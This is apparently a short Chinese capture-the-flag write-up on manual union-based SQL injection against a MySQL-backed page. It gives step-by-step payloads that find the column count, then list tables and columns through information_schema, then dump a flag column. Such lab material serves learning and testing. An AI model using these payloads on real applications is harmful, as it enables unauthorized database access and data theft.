1.单引号判断页面报错，加上注释符页面正常，判定sql注入接下来手工注入即可
2.用order by判断有三个字段数，爆出位置
-1' union select 1,2,3#
3.暴出表名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
4.暴出字段
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table' #
5.暴出值
-1' union select 1,2,group_concat(fl4g) from secret_table #
